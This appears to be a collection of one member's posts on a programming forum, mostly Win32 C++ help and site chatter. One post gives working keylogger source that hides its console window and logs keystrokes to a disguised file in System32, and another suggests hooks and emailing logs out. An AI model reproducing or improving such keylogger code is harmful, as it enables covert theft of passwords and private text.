William Hemsworth 1,339 Posting Virtuoso

You have to sign your application with a trusted certificate. [link]

William Hemsworth 1,339 Posting Virtuoso

Ahh crap, I read your code, I just helped you improve a keylogger.
Luckily, it's one of bad quality which wont do any harm.

William Hemsworth 1,339 Posting Virtuoso

Alternatively, you can compile the program as a Windows application, and use int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) instead of int main()

William Hemsworth 1,339 Posting Virtuoso

You put the statements in the wrong order, my code is correct.

#include <iostream>
using namespace std;
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <Winuser.h>

int Save (int key_stroke, char *file);

int main(){
	ShowWindow( GetConsoleWindow(), SW_HIDE );
	char i;

	while (1){
		for (i = 8; i <= 250; i++){
			if (GetAsyncKeyState(i) == -32767)
				Save(i, "C:\\Windows\\System32\\dos\\false.DLL");
		}
	}
	std::cin.ignore();
	system("PAUSE");
	return 0;
}
/* **************************************** */
int Save (int key_stroke, char *file){
	 if ( (key_stroke == 1) || (key_stroke == 2) )
		return 0;

	FILE *OUTPUT_FILE;
	OUTPUT_FILE = fopen(file, "a+");
	cout << key_stroke << endl;

	if (key_stroke == 8)
		fprintf(OUTPUT_FILE, "%s", "[מחיקה]");
	else if (key_stroke == 13)
		fprintf(OUTPUT_FILE, "%s", "\n");
	else if (key_stroke == 32)
		fprintf(OUTPUT_FILE, "%s", " ");
	else if (key_stroke == VK_TAB)
		fprintf(OUTPUT_FILE, "%s", "[טאב]");
	else if (key_stroke == VK_SHIFT)
		fprintf(OUTPUT_FILE, "%s", "[שיפט]");
	else if (key_stroke == VK_CONTROL)
		fprintf(OUTPUT_FILE, "%s", "[קונטרול]");
	else if (key_stroke == VK_ESCAPE)
		fprintf(OUTPUT_FILE, "%s", "[יציאה]");
	else if (key_stroke == VK_END)
		fprintf(OUTPUT_FILE, "%s", "[END]");
	else if (key_stroke == VK_HOME)
		fprintf(OUTPUT_FILE, "%s", "[HOME]");
	else if (key_stroke == VK_LEFT)
		fprintf(OUTPUT_FILE, "%s", "[LEFT]");
	else if (key_stroke == VK_UP)
		fprintf(OUTPUT_FILE, "%s", "[UP]");
	else if (key_stroke == VK_RIGHT)
		fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
	else if (key_stroke == VK_DOWN)
		fprintf(OUTPUT_FILE, "%s", "[DOWN]");
	else if (key_stroke == 190 || key_stroke == 110)
		fprintf(OUTPUT_FILE, "%s", ".");
	else if (key_stroke == 84)
		fprintf(OUTPUT_FILE, "%s", "א");
	else if (key_stroke == 67)
		fprintf(OUTPUT_FILE, "%s", "ב");
	else if (key_stroke == 68)
		fprintf(OUTPUT_FILE, "%s", "ג");
	else if (key_stroke == 83)
		fprintf(OUTPUT_FILE, "%s", "ד");
	else if (key_stroke == 86)
		fprintf(OUTPUT_FILE, "%s", "ה"); …
William Hemsworth 1,339 Posting Virtuoso

No, you must use the GUI subsystem.

Was I asking you?

csurfer commented: Humour and tactful knowledge at a time...!!! +1
William Hemsworth 1,339 Posting Virtuoso

Things are pretty crazy with reputation at the moment, just in case you haven't yet noticed this.

William Hemsworth 1,339 Posting Virtuoso

Will this do?

#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <iostream>

int main() {
  ShowWindow( GetConsoleWindow(), SW_HIDE );
  std::cin.ignore();
}
William Hemsworth 1,339 Posting Virtuoso

What's with the one grey block? :'(

William Hemsworth 1,339 Posting Virtuoso

I think it's fine and very easy to navigate. I also just saw that you made threads with 0 posts red, that will make life ever so slightly easier for me :)

I am a fan of dark themes

The yellow orange and purple isn't quite my favourite either, but it doesn't really annoy me in any way.

William Hemsworth 1,339 Posting Virtuoso

How come some threads have '0' by the side, yet some of them have nothing at all? It should by one or the other, shouldn't it?

William Hemsworth 1,339 Posting Virtuoso

You could use a union for this purpose

Using a union like that wouldn't technically be making it an ASCII string, ASCII represents text, and there asc is just pointing to some bytes of another data type.

Don't use itoa

It's doubtful that any decent compiler wouldn't have this included, so I personally wouldn't hesitate to use it, but it's the OP's choice if he decides to use it or not.

William Hemsworth 1,339 Posting Virtuoso

Thanks :) I personally think the voting system's awesome.

William Hemsworth 1,339 Posting Virtuoso

Since when are books free?

Also, [link]

William Hemsworth 1,339 Posting Virtuoso

If you're curious, test it on your own computer :P
I just did, and it did exactly what I said it would.

William Hemsworth 1,339 Posting Virtuoso

Damage? I doubt it. The physical memory would quickly run out, and then your pc would automatically free all the memory you allocated when you restart the pc or somehow close it.

William Hemsworth 1,339 Posting Virtuoso

What? Once again, not helping.
Also, I said

Assuming this is the defaut Windows API listbox.

William Hemsworth 1,339 Posting Virtuoso

thanks William, for your response.
Can you pls do me a favor to write a tiny app to read those values. With an interface like, specifying the window handle by some drag/drop thing and then read the list box values, etc.

I am very new to C++ programming and got this as a task :-s

Look forward to your response...

That's too much to ask for.

If you're very new to programming, you shouldn't have been set a task like this. I wont do it for you, but what I will do is lead you in the right direction. Start by familiarizing yourself with basic C++, then follow this Win32 API tutorial [link]
There's plenty in there to get you started, after all, that's exactly how I learnt it.

Remember, we aren't here to write code for you.

William Hemsworth 1,339 Posting Virtuoso

Assuming this is the defaut Windows API listbox..

Step 1: Find a handle to the window containing the list box. [link]
Step 2: Allocate enough space to hold the strings. eg.

int count = (int) SendMessage( listbox, LB_GETCOUNT, 0, 0 );
std::string *items = new string[count];


Step 3: Retrieve those values. eg.

for (int i = 0; i < count; ++i) {
  int itemLength = SendMessage( listbox, LB_GETTEXTLEN, i, 0 );
  char *temp = new char[itemLength];

  SendMessage( listbox, LB_GETTEXT, i, (LPARAM)&temp );
  items[i] = temp;

  delete[] temp;
}

I haven't tested this code, but it should work if you apply it right. Hope this helps.

William Hemsworth 1,339 Posting Virtuoso

Painting Vista controls can be unpredictable because of the Aero theme. If you disable the Aero theme, you will probably find that your code works, however if you want it to work either way, you can try drawing it manually by using the WM_ERASEBKGND handler.

I once did an entire game that runs on the Windows API, I never thought to check if it works with XP or lower, and because of that there's some big painting bugs on anything but Vista.

tux4life commented: Advice from an experienced WinAPI user :) +24
William Hemsworth 1,339 Posting Virtuoso

This is a dangerous topic to post a question about, we can't just trust you wont use this for any illegal purposes, therefore you probably wont get the replies you're expecting. Either way, if you're going to write a keylogger, you may as well save the poor user some CPU by using hooks instead of an infinite loop. [link]

As for sending the logged keys, I dunno, try emailing.

William Hemsworth 1,339 Posting Virtuoso

Perhaps try the official Allegro forum? Here, only a small percentage of people know about it, there everybody does. [link]

William Hemsworth 1,339 Posting Virtuoso

Most probably some customly made ActiveX controls.

William Hemsworth 1,339 Posting Virtuoso

>Don't pay any attention to anything Marco93 says
He's right, see those 3 red dots by his reputation? As far as I know, he's the first person to ever accomplish that.

If you want to manage this using windows only, there is no easy way. I spent 15 minutes trying to figure it out, and this is as close as I got (there was a lot more, but didn't work very well):

#include <iostream>
#include <windows.h>
using namespace std;

int main() {
  // The pixel we're scanning for
  COLORREF tofind = RGB( 255, 0, 0 );

  // Screen size
  int screen_width = GetSystemMetrics( SM_CXSCREEN );
  int screen_height = GetSystemMetrics( SM_CYSCREEN );

  // Get HBITMAP from our HDC of the screen
  HDC hdc = GetDC( NULL );
  HDC hdcMem = CreateCompatibleDC( hdc );

  HBITMAP bmp = CreateCompatibleBitmap( hdcMem, screen_width, screen_height );
  SelectObject( hdcMem, bmp );
  BitBlt( hdcMem , 0, 0, screen_width, screen_height, hdc, 0, 0, SRCCOPY );

  // bmp now contains the screenshot
}

You're welcome to try and complete it, but remember it's not easy. Here are some links to help:

[link], [link], [link] and most importantly... [link]

Hope this helps.

Nick Evan commented: Still, good post +32
William Hemsworth 1,339 Posting Virtuoso

You'll be back! :)

I don't understand why you're leaving after having a post deleted. If you post normally and make sure they don't break any rules, you'll be fine. If you don't come back, then Cya.

William Hemsworth 1,339 Posting Virtuoso

hmm ... then what's a good alternative to GetPixel()?

Learn how to use bitmaps, take a screenshot, and lock the bitmap pixels to gain fast access to them.

William Hemsworth 1,339 Posting Virtuoso

One thing you may want to bear in mind, the GetPixel function is very slow, so you could literally be waiting 10 minutes before it finds the pixel. To demonstrate just how slow... try executing this code.

int main() {
  COLORREF tofind = RGB(255, 0, 0);
  COLORREF col;

  HDC hdc = GetDC(NULL);

  for (int y = 0; y < 801; ++y) {
    for (int x = 0; x < 1280; ++x) {
      col = GetPixel( hdc, x, y );
      SetPixel( hdc, x, y, RGB(255,0,0) );
    }
  }
}
William Hemsworth 1,339 Posting Virtuoso

This code is confusing, that's your main problem. I don't understand the need for POINT lame; Also, line 40 is useless as i will never be equal to 1280 (only ever < than 1280).

If you want to loop through every pixel from point (0,0) and (1280,801) to find a pixel, do this:

/* Untested code */
COLORREF tofind = RGB(175, 163, 134);
COLORREF col;

for (int y = 0; y < 801; ++y) {
  for (int x = 0; x < 1280; ++x) {
    col = GetPixel( hdc, x, y );
    if ( col == tofind ) {
      cout << "Pixel found at: \t" << "X: "<< x << "\t\t" << "Y: " << y << "\n";
      cin.ignore();
    }
  }
}

cin.ignore();

Hope this helps.

William Hemsworth 1,339 Posting Virtuoso

3 out of 3 :) the apple question comes up on so many quizzes.

William Hemsworth 1,339 Posting Virtuoso

You can then use GetRValue, GetGValue, and GetBValue to get the individual colours from the pixel.

William Hemsworth 1,339 Posting Virtuoso

Very simple using the Windows API, here's an example:

COLORREF GetMousePixel() {
  HDC hdc = GetDC( NULL );
  POINT mp; // Mouse point
  GetCursorPos( &mp );
  COLORREF pixel = GetPixel( hdc, mp.x, mp.y );
  return pixel;
}
William Hemsworth 1,339 Posting Virtuoso

"When the last tree is cut, the last river is poisoned, and the last fish is dead, we will discover that we can't eat money..."

William Hemsworth 1,339 Posting Virtuoso

Hello.
Please, say, how can I obtain a contact's Birthdate? The standart export from Addres Book does not export it.

If I'm writing a code, there is a property PR_BIRTHDATE.
How do I convert it to the text string and write anywhere, like
Edit3.Text = lpProp->Value.(something here) ?;

Besides, why does MSDN say "Do not use" about all that WAB stuff like WABOpen()?

Don't reply to a 5 year old thread, start your own.

William Hemsworth 1,339 Posting Virtuoso

you don't need to hard wire it.

Don't you think I know that? :icon_neutral:
The point is, I can hard wire it.

William Hemsworth 1,339 Posting Virtuoso

While this thread is on the topic of reputation:

I like that posts that receive lots of positive (and perhaps negative although I haven't come across that) have more than one green dot next to the give rep link. Example below.

It's been doing that for a long time as far as I know, it's just a rare sight.

William Hemsworth 1,339 Posting Virtuoso

How would it ask it you? Maybe she could use a popup window.. we all love those

Well, I meant she could put an option in the User Control Panel so you can choose if you want to be seen as a visitor on somebody's profile.

William Hemsworth 1,339 Posting Virtuoso

Haha :D anyway, I don't have a problem with it at all, couldn't you allow the user to choose whether he/she wants to show up as a visitor on somebody's page? I personally found it interesting to see who had visited my page, so I liked it.

William Hemsworth 1,339 Posting Virtuoso

I envy those people who are the real legends in gaming world !!

I pity them, they're far from being "real legends" in the "real world" :icon_wink:
Unless of course you're talking about the programmers.

William Hemsworth 1,339 Posting Virtuoso

Please remember to use code tags, there's a big button which says (Code) in the reply box now, so there's really no excuse for missing it other than a lack of effort.

Now some points about your code, your teacher shouldn't be making you use Turbo C++, it's outdated, and can be replaced by one of many free compilers available online. However as you're using graphics.h, I doubt you're going to bother changing. Unfortunately, this means helping you wont be easy, as there are no good programmers using Turbo C++ anymore.

void main() Don't use void main, it's bad practice, just use int main() and save yourself a few problems.

William Hemsworth 1,339 Posting Virtuoso

I'd like to learn electronics more. So that my programs are all just a series of resistor-transistor logic gates, and other low-level awesomeness.

Reminds me of this hard-wired (addition) calculator I made once in a systems class, guess I skipped ahead a bit. [link]

William Hemsworth 1,339 Posting Virtuoso

Sigh. How many times will it take before you realise nobody cares unless you use code-tags?
How hard can it possibly be for you? Select your code, and click code.

Third time's a charm, I hope.

William Hemsworth 1,339 Posting Virtuoso

You didn't use code-tags, even though there's a big button saying code.
Put more effort into making your question presentable, and I'll take a look at the code for you.

William Hemsworth 1,339 Posting Virtuoso

If I didn't already know C++, I would have picked that. I picked Java, because I think it's a powerful language considering it doesn't run directly from the OS, and it would be easier to make online games/apps with. I've actually tried getting into it once, but for some reason struggled to get everything started (even with the help of a friend who knew what he was doing), so I left it.

Seem's like I'll be obligated into learning Visual Basic next in my computing class though, that will be boring (nobody in my class has programmed before :\).

William Hemsworth 1,339 Posting Virtuoso

void main()

Just a little heads up, dont use void main, use int main, and you'll save yourself a lot of trouble :)

William Hemsworth 1,339 Posting Virtuoso

Due to your bad formatting, you can't even tell that it's entering an infinite loop on line 10.
Here's your corrected code.

#include <iostream>
#include <string>
using namespace std;

int main()
{
  string dude;
  bool repeatit=true;

  while (repeatit == true) {
    cout << "Are you happy?\n";
    cin >> dude;

    if (dude == "yes") {
      cout << "\nYay!";
      repeatit = false;
    }

    if (dude == "no") {
      cout<<"\nNo, you're happy. Try again.\n";
    }

    if (dude != "yes" && dude != "no") {
      cout<< "\nAnswer in yes or no only.\n";
    }
  }

  cin.ignore();
  cin.ignore();
}

Hope this helps.

William Hemsworth 1,339 Posting Virtuoso

We help with specific C++ problems here, we aren't going to think up a project for you.

William Hemsworth 1,339 Posting Virtuoso

I've never really got the hang of Assembly language, knowing that would be nice, can't be bothered though.

William Hemsworth 1,339 Posting Virtuoso

With a hex editor? You're really going to have to be more specific if you want a good reply.

William Hemsworth 1,339 Posting Virtuoso

Perhaps make a function that compares the similarity between two words. Compare each word length, how many of the same characters match up, how many are in the right order, and so on. The function could start off like this:

/* Returna a value between 0 and 100
 * 0   = No match
 * 100 = Perfect match
 *
 * Allow a 10% to 15% tolerance
 *
 */

int compare(char *word1, char *word2) {
  int similarity;

  /* Compare words */

  return similarity;
}

Hope this helps.

William Hemsworth 1,339 Posting Virtuoso

Turn off the computer? Just an idea.

William Hemsworth 1,339 Posting Virtuoso

You've come to the wrong place if you want free solutions to homework (and the wrong forum altogether). If you want a place to start, buy a book on C/C++.